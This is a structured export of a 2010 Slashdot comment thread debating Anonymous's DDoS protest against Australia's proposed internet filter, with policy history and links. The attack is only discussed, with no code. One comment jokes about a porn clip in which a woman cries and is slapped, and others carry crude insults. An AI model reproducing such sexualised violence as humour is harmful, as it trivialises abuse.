	<htmltext><p><div class="quote"><p>until you have some real criticism against them?</p></div><p>How about the fact that their methods of "protesting" are consistently as suppressive as what they're trying to protest? Their arsenal consists solely of "I don't like what you're saying, so you don't get to say it."   If any person, corporation, or government did this, we would be outraged.  So why would we accept or encourage it from Anonymous? It's certainly no better a behavior coming from what is putatively "our side" than anywhere else. .

</p><p>
The fact is that Australians <i>have</i> elected their lawmakers.  If they don't want this law, it's up to them to change it.   If Anon wants to bring attention to to the legislation, that's great.  If they want to protest , that's cool too. If they are disrupting services in the name of doing so -- services that people presumably need and use -- that just makes them childish.
</p><p>

Let the downmod commence, I know it's not popular to be critical of Anonymous here.  But is  it any surprise that they're viewed as basement-dwelling losers when their  only tactic is equivalent to shouting so loud their opposition can't be heard?</p></div>
	</htmltext>
<tokenext>until you have some real criticism against them ? How about the fact that their methods of " protesting " are consistently as suppressive as what they 're trying to protest ?
Their arsenal consists solely of " I do n't like what you 're saying , so you do n't get to say it .
" If any person , corporation , or government did this , we would be outraged .
So why would we accept or encourage it from Anonymous ?
It 's certainly no better a behavior coming from what is putatively " our side " than anywhere else .
. The fact is that Australians have elected their lawmakers .
If they do n't want this law , it 's up to them to change it .
If Anon wants to bring attention to to the legislation , that 's great .
If they want to protest , that 's cool too .
If they are disrupting services in the name of doing so -- services that people presumably need and use -- that just makes them childish .
Let the downmod commence , I know it 's not popular to be critical of Anonymous here .
But is it any surprise that they 're viewed as basement-dwelling losers when their only tactic is equivalent to shouting so loud their opposition ca n't be heard ?</tokentext>
<sentencetext>until you have some real criticism against them?How about the fact that their methods of "protesting" are consistently as suppressive as what they're trying to protest?
Their arsenal consists solely of "I don't like what you're saying, so you don't get to say it.
"   If any person, corporation, or government did this, we would be outraged.
So why would we accept or encourage it from Anonymous?
It's certainly no better a behavior coming from what is putatively "our side" than anywhere else.
.


The fact is that Australians have elected their lawmakers.
If they don't want this law, it's up to them to change it.
If Anon wants to bring attention to to the legislation, that's great.
If they want to protest , that's cool too.
If they are disrupting services in the name of doing so -- services that people presumably need and use -- that just makes them childish.
Let the downmod commence, I know it's not popular to be critical of Anonymous here.
But is  it any surprise that they're viewed as basement-dwelling losers when their  only tactic is equivalent to shouting so loud their opposition can't be heard?
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141444</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142134</id>
	<title>Re:Question</title>
	<author>Anonymous</author>
	<datestamp>1266229680000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>So because most people on the internet are American, that means that most Americans give a shit about your whining?</p><p>All all Australians this full of themselves?</p></htmltext>
<tokenext>So because most people on the internet are American , that means that most Americans give a shit about your whining ? All all Australians this full of themselves ?</tokentext>
<sentencetext>So because most people on the internet are American, that means that most Americans give a shit about your whining?All all Australians this full of themselves?</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141786</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141948</id>
	<title>Re:Curiosity</title>
	<author>Anonymous</author>
	<datestamp>1266226920000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>2</modscore>
	<htmltext><p>yea except you're a n00b<br>considering your HTML + javascript attack comes from 1 ip address<br>the result being you're a quick and simple ip ban<br>meanwhile you've got no idea your script is no longer working</p><p>sure you could get a bunch of friend to also run the script<br>but unless you've got 1,000+ friends it's not going to help<br>plus you need a sparse range of ip addresses to run it on</p><p>there's a reason for the extra 'D' at the front of DDoS</p></htmltext>
<tokenext>yea except you 're a n00bconsidering your HTML + javascript attack comes from 1 ip addressthe result being you 're a quick and simple ip banmeanwhile you 've got no idea your script is no longer workingsure you could get a bunch of friend to also run the scriptbut unless you 've got 1,000 + friends it 's not going to helpplus you need a sparse range of ip addresses to run it onthere 's a reason for the extra 'D ' at the front of DDoS</tokentext>
<sentencetext>yea except you're a n00bconsidering your HTML + javascript attack comes from 1 ip addressthe result being you're a quick and simple ip banmeanwhile you've got no idea your script is no longer workingsure you could get a bunch of friend to also run the scriptbut unless you've got 1,000+ friends it's not going to helpplus you need a sparse range of ip addresses to run it onthere's a reason for the extra 'D' at the front of DDoS</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143012</id>
	<title>Re:Well Then...</title>
	<author>Anonymous</author>
	<datestamp>1266241620000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>At least <em>someone's</em> running it.</p></htmltext>
<tokenext>At least someone 's running it .</tokentext>
<sentencetext>At least someone's running it.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141514</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142662</id>
	<title>Re:Question</title>
	<author>jibjibjib</author>
	<datestamp>1266236940000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Please don't claim to speak for Australia. I'm Australian, it's a controversial issue here, and to claim that Australians asked for censorship and expect it is misleading, if not an outright lie.</htmltext>
<tokenext>Please do n't claim to speak for Australia .
I 'm Australian , it 's a controversial issue here , and to claim that Australians asked for censorship and expect it is misleading , if not an outright lie .</tokentext>
<sentencetext>Please don't claim to speak for Australia.
I'm Australian, it's a controversial issue here, and to claim that Australians asked for censorship and expect it is misleading, if not an outright lie.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142474</id>
	<title>Re:Question</title>
	<author>VShael</author>
	<datestamp>1266234180000</datestamp>
	<modclass>Funny</modclass>
	<modscore>5</modscore>
	<htmltext><p><i>Don't make us come over there and liberate the shit out of you.</i></p><p>Funnily enough, I've seen a porno clip which had this attitude. The guy was really pounding this girls ass, doggy style, saying things like "I'm gonna liberate you soooo hard!" She's crying and getting slapped and what not.</p><p>Then when he's done, he collapsed on her back and sighed "Mission Accomplished!" even though there was a second naked chick waiting in the sack beside them.</p><p>So I gotta wonder, when did porn get all liberal satirical and shit? Keep politics outta porn. (But not porn outta politics, cause that shit's hilarious.)</p></htmltext>
<tokenext>Do n't make us come over there and liberate the shit out of you.Funnily enough , I 've seen a porno clip which had this attitude .
The guy was really pounding this girls ass , doggy style , saying things like " I 'm gon na liberate you soooo hard !
" She 's crying and getting slapped and what not.Then when he 's done , he collapsed on her back and sighed " Mission Accomplished !
" even though there was a second naked chick waiting in the sack beside them.So I got ta wonder , when did porn get all liberal satirical and shit ?
Keep politics outta porn .
( But not porn outta politics , cause that shit 's hilarious .
)</tokentext>
<sentencetext>Don't make us come over there and liberate the shit out of you.Funnily enough, I've seen a porno clip which had this attitude.
The guy was really pounding this girls ass, doggy style, saying things like "I'm gonna liberate you soooo hard!
" She's crying and getting slapped and what not.Then when he's done, he collapsed on her back and sighed "Mission Accomplished!
" even though there was a second naked chick waiting in the sack beside them.So I gotta wonder, when did porn get all liberal satirical and shit?
Keep politics outta porn.
(But not porn outta politics, cause that shit's hilarious.
)</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141822</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142168</id>
	<title>Re:Will be interesting, but...</title>
	<author>Sasayaki</author>
	<datestamp>1266230100000</datestamp>
	<modclass>Informativ</modclass>
	<modscore>5</modscore>
	<htmltext><p>Regretfully, I agree.</p><p>Tony Abbot (The head of the Liberal party- that's the guys NOT in power, for you Americans) visited humble Darwin city recently and it was there that I personally got to ask him, in his public question and answer time, the following question (roughly remembered):</p><p>"The Internet is an important part of the lives of many young Australians, as well as Australia as a whole in this modern age- what do you think of (the Prime Minister- Americans would say 'president') Kevin Rudd's plan to censor the Internet?"</p><p>His answer began:</p><p>"Well, I'm afraid I'm probably going to disappoint you..." and yes, unfortunately, he did.</p><p>Paraphrased his answer was: "Stopping child pornography is extremely important to me and the Liberal party and therefore, if we can prove the censorship plan doesn't work, we will oppose it; but only it. We will continue to seek effective means to block 'filth' (his word) from entering our country any way we can. If the filter works, we will support it."</p><p>Basically the message I got from his reply is that Tony Abbot believes that the filter will work "well enough" and is too much of a hot potato to oppose politically. The subtext I personally divined from his answer was a little more chilling; that the filter didn't go far *enough* for his tastes, and that he'd personally rather a complete whitelist than a blacklist. Therefore, speaking as a card-carrying Liberal... if you think that voting for the Liberal party in the next election will make the filter go away, you are sadly mistaken.</p><p>On a side note, the fact that he himself is an extremely religious man probably doesn't help a great deal, since it seems that too many politicians tend to "trust God about these things" when it's abundantly clear that God knows sweet F-A about the Tubes and how they work.</p></htmltext>
<tokenext>Regretfully , I agree.Tony Abbot ( The head of the Liberal party- that 's the guys NOT in power , for you Americans ) visited humble Darwin city recently and it was there that I personally got to ask him , in his public question and answer time , the following question ( roughly remembered ) : " The Internet is an important part of the lives of many young Australians , as well as Australia as a whole in this modern age- what do you think of ( the Prime Minister- Americans would say 'president ' ) Kevin Rudd 's plan to censor the Internet ?
" His answer began : " Well , I 'm afraid I 'm probably going to disappoint you... " and yes , unfortunately , he did.Paraphrased his answer was : " Stopping child pornography is extremely important to me and the Liberal party and therefore , if we can prove the censorship plan does n't work , we will oppose it ; but only it .
We will continue to seek effective means to block 'filth ' ( his word ) from entering our country any way we can .
If the filter works , we will support it .
" Basically the message I got from his reply is that Tony Abbot believes that the filter will work " well enough " and is too much of a hot potato to oppose politically .
The subtext I personally divined from his answer was a little more chilling ; that the filter did n't go far * enough * for his tastes , and that he 'd personally rather a complete whitelist than a blacklist .
Therefore , speaking as a card-carrying Liberal... if you think that voting for the Liberal party in the next election will make the filter go away , you are sadly mistaken.On a side note , the fact that he himself is an extremely religious man probably does n't help a great deal , since it seems that too many politicians tend to " trust God about these things " when it 's abundantly clear that God knows sweet F-A about the Tubes and how they work .</tokentext>
<sentencetext>Regretfully, I agree.Tony Abbot (The head of the Liberal party- that's the guys NOT in power, for you Americans) visited humble Darwin city recently and it was there that I personally got to ask him, in his public question and answer time, the following question (roughly remembered):"The Internet is an important part of the lives of many young Australians, as well as Australia as a whole in this modern age- what do you think of (the Prime Minister- Americans would say 'president') Kevin Rudd's plan to censor the Internet?
"His answer began:"Well, I'm afraid I'm probably going to disappoint you..." and yes, unfortunately, he did.Paraphrased his answer was: "Stopping child pornography is extremely important to me and the Liberal party and therefore, if we can prove the censorship plan doesn't work, we will oppose it; but only it.
We will continue to seek effective means to block 'filth' (his word) from entering our country any way we can.
If the filter works, we will support it.
"Basically the message I got from his reply is that Tony Abbot believes that the filter will work "well enough" and is too much of a hot potato to oppose politically.
The subtext I personally divined from his answer was a little more chilling; that the filter didn't go far *enough* for his tastes, and that he'd personally rather a complete whitelist than a blacklist.
Therefore, speaking as a card-carrying Liberal... if you think that voting for the Liberal party in the next election will make the filter go away, you are sadly mistaken.On a side note, the fact that he himself is an extremely religious man probably doesn't help a great deal, since it seems that too many politicians tend to "trust God about these things" when it's abundantly clear that God knows sweet F-A about the Tubes and how they work.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141612</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142292</id>
	<title>Re:Question</title>
	<author>Joakal</author>
	<datestamp>1266231540000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Some people like me are highlighting positions, you'll find some positions are quite duopolistic.<br> <br>

My site on the filtering scheme: <a href="http://shockseat.com/communications/internet-filtering-scheme" title="shockseat.com" rel="nofollow">http://shockseat.com/communications/internet-filtering-scheme</a> [shockseat.com] <br> <br>

Bonus: You can find out who's most against it in your electorate for Federal elections this year.</htmltext>
<tokenext>Some people like me are highlighting positions , you 'll find some positions are quite duopolistic .
My site on the filtering scheme : http : //shockseat.com/communications/internet-filtering-scheme [ shockseat.com ] Bonus : You can find out who 's most against it in your electorate for Federal elections this year .</tokentext>
<sentencetext>Some people like me are highlighting positions, you'll find some positions are quite duopolistic.
My site on the filtering scheme: http://shockseat.com/communications/internet-filtering-scheme [shockseat.com]  

Bonus: You can find out who's most against it in your electorate for Federal elections this year.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141928</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151796</id>
	<title>Re:Question</title>
	<author>SpaceCadets</author>
	<datestamp>1266250980000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Why the hell is this flamebait?  Bit too close to home for you, moderator?</htmltext>
<tokenext>Why the hell is this flamebait ?
Bit too close to home for you , moderator ?</tokentext>
<sentencetext>Why the hell is this flamebait?
Bit too close to home for you, moderator?</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141670</id>
	<title>Slashdot, please stop being dumb re:'Anonymous'</title>
	<author>Anonymous</author>
	<datestamp>1266266580000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext>Can you stop acting as a naive mainstream news provider and referring to "anonymous" as a legitimately cohesive hacking group when it's really, literally, an anonymous group of people that post randomly to various forums?</htmltext>
<tokenext>Can you stop acting as a naive mainstream news provider and referring to " anonymous " as a legitimately cohesive hacking group when it 's really , literally , an anonymous group of people that post randomly to various forums ?</tokentext>
<sentencetext>Can you stop acting as a naive mainstream news provider and referring to "anonymous" as a legitimately cohesive hacking group when it's really, literally, an anonymous group of people that post randomly to various forums?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141638</id>
	<title>Role model? China?</title>
	<author>ebonum</author>
	<datestamp>1266266220000</datestamp>
	<modclass>Flamebait</modclass>
	<modscore>1</modscore>
	<htmltext><p>Finally! The Australians are on their way to a "happy harmonious society".</p><p>Let us know in a few years how that works out for ya.</p></htmltext>
<tokenext>Finally !
The Australians are on their way to a " happy harmonious society " .Let us know in a few years how that works out for ya .</tokentext>
<sentencetext>Finally!
The Australians are on their way to a "happy harmonious society".Let us know in a few years how that works out for ya.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141806</id>
	<title>Re:Storm of chicks?</title>
	<author>Anonymous</author>
	<datestamp>1266225240000</datestamp>
	<modclass>Redundant</modclass>
	<modscore>-1</modscore>
	<htmltext><p>tits!</p></htmltext>
<tokenext>tits !</tokentext>
<sentencetext>tits!</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141786</id>
	<title>Re:Question</title>
	<author>Miseph</author>
	<datestamp>1266224940000</datestamp>
	<modclass>Informativ</modclass>
	<modscore>2</modscore>
	<htmltext><p>"Why do you assume that 1) Most on here are American'</p><p>Because it is demonstrably true. And no, I will not give sources, this is common knowledge. I know that Taco periodically gives a bunch of random statistics on site usage, and at least once he broke it down by country: it was something like 75\% American, 10\% Canadian and 15\% everyone else when I last saw it. Granted, a lot of<nobr> <wbr></nobr>/.ers are likely to be using proxies/TOR/other connections that will obfuscate their true location, but I think it's fair to say that the vast majority probably don't.</p></htmltext>
<tokenext>" Why do you assume that 1 ) Most on here are American'Because it is demonstrably true .
And no , I will not give sources , this is common knowledge .
I know that Taco periodically gives a bunch of random statistics on site usage , and at least once he broke it down by country : it was something like 75 \ % American , 10 \ % Canadian and 15 \ % everyone else when I last saw it .
Granted , a lot of /.ers are likely to be using proxies/TOR/other connections that will obfuscate their true location , but I think it 's fair to say that the vast majority probably do n't .</tokentext>
<sentencetext>"Why do you assume that 1) Most on here are American'Because it is demonstrably true.
And no, I will not give sources, this is common knowledge.
I know that Taco periodically gives a bunch of random statistics on site usage, and at least once he broke it down by country: it was something like 75\% American, 10\% Canadian and 15\% everyone else when I last saw it.
Granted, a lot of /.ers are likely to be using proxies/TOR/other connections that will obfuscate their true location, but I think it's fair to say that the vast majority probably don't.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141636</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141694</id>
	<title>Re:The problem with headless organizations</title>
	<author>Anonymous</author>
	<datestamp>1266266820000</datestamp>
	<modclass>Informativ</modclass>
	<modscore>5</modscore>
	<htmltext><p>It is named Operation Titstorm due to the Government adding liking small breasted women = pedophile like activity and therefore illegal to the filter plans. They also added nylon fetishes because of it being a fetish and female ejaculation "because it is a myth". These are the type people in control of the filter.</p></htmltext>
<tokenext>It is named Operation Titstorm due to the Government adding liking small breasted women = pedophile like activity and therefore illegal to the filter plans .
They also added nylon fetishes because of it being a fetish and female ejaculation " because it is a myth " .
These are the type people in control of the filter .</tokentext>
<sentencetext>It is named Operation Titstorm due to the Government adding liking small breasted women = pedophile like activity and therefore illegal to the filter plans.
They also added nylon fetishes because of it being a fetish and female ejaculation "because it is a myth".
These are the type people in control of the filter.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141356</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31159062</id>
	<title>Re:Will be interesting, but...</title>
	<author>Hertzyscowicz</author>
	<datestamp>1266352620000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>To Mr. Abbot, I have only one word: "Finland"</htmltext>
<tokenext>To Mr. Abbot , I have only one word : " Finland "</tokentext>
<sentencetext>To Mr. Abbot, I have only one word: "Finland"</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142168</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142626</id>
	<title>Re:"tit storm"</title>
	<author>Anonymous</author>
	<datestamp>1266236640000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p><div class="quote"><p>Really guys, naming your protest after female anatomy does nothing to help the cause.</p></div><p>And DDoS'ing government websites will?</p></div>
	</htmltext>
<tokenext>Really guys , naming your protest after female anatomy does nothing to help the cause.And DDoS'ing government websites will ?</tokentext>
<sentencetext>Really guys, naming your protest after female anatomy does nothing to help the cause.And DDoS'ing government websites will?
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142704</id>
	<title>Re:Question</title>
	<author>ChiefMonkeyGrinder</author>
	<datestamp>1266237300000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>I'm Aussie, and I oppose the filter, but I don't think this protest is going to help.

Despite being a westernised democracy, the direction the government has taken over Internet censorship has not shocked me. We may become the laughing stock of the Western world with this stance. But we are not alone in looking at censorship - Wikipedia has an interesting map of Internet Censorship around the world - and I think it's only going to get tougher in other countries. <a href="http://en.wikipedia.org/wiki/Internet\_censorship" title="wikipedia.org">http://en.wikipedia.org/wiki/Internet\_censorship</a> [wikipedia.org]

We are also famous for appointing Richard Alston, who the Register dubbed 'the world's biggest Luddite', as Minister of the Digital Economy. While in office, Alston famously tried to outlaw any online gambling whatsoever for Australian citizens, opposed the rollout of broadband, and wanted to make people legally responsible for anything they put on the net that was deemed not suitable for children (as decided by the police).

Anyway, I wrote about this last week - but it didn't make it past firehose. For those that are interested:

<a href="http://slashdot.org/submission/1169966/Australias-net-censorship-and-Operation-Titstorm?art\_pos=7" title="slashdot.org">http://slashdot.org/submission/1169966/Australias-net-censorship-and-Operation-Titstorm?art\_pos=7</a> [slashdot.org]

or direct to the blog: <a href="http://www.computerworlduk.com/community/blogs/index.cfm?entryid=2784&amp;blogid=10" title="computerworlduk.com">http://www.computerworlduk.com/community/blogs/index.cfm?entryid=2784&amp;blogid=10</a> [computerworlduk.com]</htmltext>
<tokenext>I 'm Aussie , and I oppose the filter , but I do n't think this protest is going to help .
Despite being a westernised democracy , the direction the government has taken over Internet censorship has not shocked me .
We may become the laughing stock of the Western world with this stance .
But we are not alone in looking at censorship - Wikipedia has an interesting map of Internet Censorship around the world - and I think it 's only going to get tougher in other countries .
http : //en.wikipedia.org/wiki/Internet \ _censorship [ wikipedia.org ] We are also famous for appointing Richard Alston , who the Register dubbed 'the world 's biggest Luddite ' , as Minister of the Digital Economy .
While in office , Alston famously tried to outlaw any online gambling whatsoever for Australian citizens , opposed the rollout of broadband , and wanted to make people legally responsible for anything they put on the net that was deemed not suitable for children ( as decided by the police ) .
Anyway , I wrote about this last week - but it did n't make it past firehose .
For those that are interested : http : //slashdot.org/submission/1169966/Australias-net-censorship-and-Operation-Titstorm ? art \ _pos = 7 [ slashdot.org ] or direct to the blog : http : //www.computerworlduk.com/community/blogs/index.cfm ? entryid = 2784&amp;blogid = 10 [ computerworlduk.com ]</tokentext>
<sentencetext>I'm Aussie, and I oppose the filter, but I don't think this protest is going to help.
Despite being a westernised democracy, the direction the government has taken over Internet censorship has not shocked me.
We may become the laughing stock of the Western world with this stance.
But we are not alone in looking at censorship - Wikipedia has an interesting map of Internet Censorship around the world - and I think it's only going to get tougher in other countries.
http://en.wikipedia.org/wiki/Internet\_censorship [wikipedia.org]

We are also famous for appointing Richard Alston, who the Register dubbed 'the world's biggest Luddite', as Minister of the Digital Economy.
While in office, Alston famously tried to outlaw any online gambling whatsoever for Australian citizens, opposed the rollout of broadband, and wanted to make people legally responsible for anything they put on the net that was deemed not suitable for children (as decided by the police).
Anyway, I wrote about this last week - but it didn't make it past firehose.
For those that are interested:

http://slashdot.org/submission/1169966/Australias-net-censorship-and-Operation-Titstorm?art\_pos=7 [slashdot.org]

or direct to the blog: http://www.computerworlduk.com/community/blogs/index.cfm?entryid=2784&amp;blogid=10 [computerworlduk.com]</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141928</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151884</id>
	<title>Re:Question</title>
	<author>Pseudonym</author>
	<datestamp>1266252060000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Disclaimer: I do not condone the DDoS attacks.  I think they are childish, stupid, illegal and counter-productive.</p><blockquote><div><p>We elected this government and the previous one which planned the censorship originally.</p></div></blockquote><p>That's true, but there's one issue here which is important for everyone.</p><p>The previous government didn't "plan the censorship".  Their plan was to clamp down on what is hosted in Australia that violates local content laws.  The idea was to bring local Internet hosting under the same rules as local book shops.  You may or may not agree with the classification rules, but that doesn't seem unreasonable to me, at least in principle.  If you don't like the rules on what is refused classification, you should change the classification rules, not the rules which brings everyone under the same rules.</p><p>The current government was not elected on the basis of what they are currently proposing.  The policy that they ran on has mysteriously disappeared from the ALP's web site, but a copy <a href="http://parlinfo.aph.gov.au/parlInfo/download/library/partypol/KOZO6/upload\_binary/kozo61.pdf" title="aph.gov.au">remains at the APH library</a> [aph.gov.au].  Here's they key snippet:</p><blockquote><div><p>Provide a mandatory &lsquo;clean feed&rsquo; internet service for all homes, schools and public computers that are used by Australian children. Internet Service Providers (ISPs) will filter out content that is identified as prohibited by the Australian Communications and Media Authority (ACMA). The ACMA &lsquo;blacklist&rsquo; will be made more comprehensive to ensure that children are protected from harmful and inappropriate online material.</p></div></blockquote><p>And just after the election, <a href="http://www.abc.net.au/news/stories/2007/12/31/2129471.htm" title="abc.net.au">news reports were still saying</a> [abc.net.au]:</p><blockquote><div><p>Senator Conroy says anyone wanting uncensored access to the internet will have to opt out of the service.</p></div></blockquote><p>I, and everyone else who actually read the policy prior to the 2007 election, interpreted this as meaning that ISPs will be required to provide a feed filtered with an ACMA-provided blacklist which filters only RC material, which will be provided by default, and that customers (possibly excluding schools etc) may opt out.</p><p>Essentially, the proposal looked like it was intended to move Net Alert from the client to the ISP, and restrict the filtering to the same standard that all other media are covered by, namely RC.  Yes, this would have put a burden on smaller ISPs.  Yes, it might give parents a false sense of security that the feed is "clean".  Yes, details would have to be worked out.  Nonetheless, everyone who read the policy document seemed to agree that it wasn't a ridiculous idea in principle and it might be worth trialling.</p><p>What is on the table now is something quite different.  If the proposal happens, not only will you not be able to opt out (contrary to pre- and post-election promises), but classification decisions will also be secret (at the moment, every OFLC decision is in a public database).</p><p>Wherever you stand on Internet censorship, the bait-and-switch is something that you <i>should</i> be angry about, and I don't think you need to be Australian to feel that anger.</p></div>
	</htmltext>
<tokenext>Disclaimer : I do not condone the DDoS attacks .
I think they are childish , stupid , illegal and counter-productive.We elected this government and the previous one which planned the censorship originally.That 's true , but there 's one issue here which is important for everyone.The previous government did n't " plan the censorship " .
Their plan was to clamp down on what is hosted in Australia that violates local content laws .
The idea was to bring local Internet hosting under the same rules as local book shops .
You may or may not agree with the classification rules , but that does n't seem unreasonable to me , at least in principle .
If you do n't like the rules on what is refused classification , you should change the classification rules , not the rules which brings everyone under the same rules.The current government was not elected on the basis of what they are currently proposing .
The policy that they ran on has mysteriously disappeared from the ALP 's web site , but a copy remains at the APH library [ aph.gov.au ] .
Here 's they key snippet : Provide a mandatory    clean feed    internet service for all homes , schools and public computers that are used by Australian children .
Internet Service Providers ( ISPs ) will filter out content that is identified as prohibited by the Australian Communications and Media Authority ( ACMA ) .
The ACMA    blacklist    will be made more comprehensive to ensure that children are protected from harmful and inappropriate online material.And just after the election , news reports were still saying [ abc.net.au ] : Senator Conroy says anyone wanting uncensored access to the internet will have to opt out of the service.I , and everyone else who actually read the policy prior to the 2007 election , interpreted this as meaning that ISPs will be required to provide a feed filtered with an ACMA-provided blacklist which filters only RC material , which will be provided by default , and that customers ( possibly excluding schools etc ) may opt out.Essentially , the proposal looked like it was intended to move Net Alert from the client to the ISP , and restrict the filtering to the same standard that all other media are covered by , namely RC .
Yes , this would have put a burden on smaller ISPs .
Yes , it might give parents a false sense of security that the feed is " clean " .
Yes , details would have to be worked out .
Nonetheless , everyone who read the policy document seemed to agree that it was n't a ridiculous idea in principle and it might be worth trialling.What is on the table now is something quite different .
If the proposal happens , not only will you not be able to opt out ( contrary to pre- and post-election promises ) , but classification decisions will also be secret ( at the moment , every OFLC decision is in a public database ) .Wherever you stand on Internet censorship , the bait-and-switch is something that you should be angry about , and I do n't think you need to be Australian to feel that anger .</tokentext>
<sentencetext>Disclaimer: I do not condone the DDoS attacks.
I think they are childish, stupid, illegal and counter-productive.We elected this government and the previous one which planned the censorship originally.That's true, but there's one issue here which is important for everyone.The previous government didn't "plan the censorship".
Their plan was to clamp down on what is hosted in Australia that violates local content laws.
The idea was to bring local Internet hosting under the same rules as local book shops.
You may or may not agree with the classification rules, but that doesn't seem unreasonable to me, at least in principle.
If you don't like the rules on what is refused classification, you should change the classification rules, not the rules which brings everyone under the same rules.The current government was not elected on the basis of what they are currently proposing.
The policy that they ran on has mysteriously disappeared from the ALP's web site, but a copy remains at the APH library [aph.gov.au].
Here's they key snippet:Provide a mandatory ‘clean feed’ internet service for all homes, schools and public computers that are used by Australian children.
Internet Service Providers (ISPs) will filter out content that is identified as prohibited by the Australian Communications and Media Authority (ACMA).
The ACMA ‘blacklist’ will be made more comprehensive to ensure that children are protected from harmful and inappropriate online material.And just after the election, news reports were still saying [abc.net.au]:Senator Conroy says anyone wanting uncensored access to the internet will have to opt out of the service.I, and everyone else who actually read the policy prior to the 2007 election, interpreted this as meaning that ISPs will be required to provide a feed filtered with an ACMA-provided blacklist which filters only RC material, which will be provided by default, and that customers (possibly excluding schools etc) may opt out.Essentially, the proposal looked like it was intended to move Net Alert from the client to the ISP, and restrict the filtering to the same standard that all other media are covered by, namely RC.
Yes, this would have put a burden on smaller ISPs.
Yes, it might give parents a false sense of security that the feed is "clean".
Yes, details would have to be worked out.
Nonetheless, everyone who read the policy document seemed to agree that it wasn't a ridiculous idea in principle and it might be worth trialling.What is on the table now is something quite different.
If the proposal happens, not only will you not be able to opt out (contrary to pre- and post-election promises), but classification decisions will also be secret (at the moment, every OFLC decision is in a public database).Wherever you stand on Internet censorship, the bait-and-switch is something that you should be angry about, and I don't think you need to be Australian to feel that anger.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142692</id>
	<title>Re:Curiosity</title>
	<author>Anonymous</author>
	<datestamp>1266237180000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>What is distributed about it?</p></htmltext>
<tokenext>What is distributed about it ?</tokentext>
<sentencetext>What is distributed about it?</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142084</id>
	<title>Re:Question</title>
	<author>Anonymous</author>
